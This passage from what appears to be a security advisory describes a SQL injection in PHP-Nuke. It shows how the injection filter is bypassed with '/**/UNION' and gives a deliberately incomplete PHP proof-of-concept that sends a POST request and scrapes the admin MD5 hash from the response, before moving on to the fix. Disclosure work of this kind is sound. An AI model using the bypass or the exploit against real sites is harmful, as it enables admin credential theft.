Also we have to know the prefix used for the database tables ("nuke_" by default). In this way, bypassing the SQL Injection Protection, like using someone like '/**/UNION ' and not ' UNION ' in our sql injections, we can get the admin md5 hash without any problems. ==Pseudo-Code Proof of Concept exploit== <? /* Neo Security Team - Pseudo-Code Proof of Concept Exploit http://www.neosecurityteam.net Paisterist */ set_time_limit(0); $host="localhost"; $path="/phpnuke/"; $port="80"; $fp = fsockopen($host, $port, $errno, $errstr, 30); $data=""; /* Here the variables, like "query", "topic" and "author" with the SQL Injection */ if ($fp) { /* we put the POST request on $p variable, sending the data saved on $data. */ fwrite($fp, $p); while (!feof($fp)) { $content .= fread($fp, 4096); } preg_match("/([a-zA-Z0-9]{32})/", $content, $matches); if ($matches[0]) print "<b>Hash: </b>".$matches[0]; } ?> ==Pseudo-Code Proof of Concept exploit== Whit this PoC code i get the md5 hash of the first admin (God) of the nuke_authors table. - How to fix it?
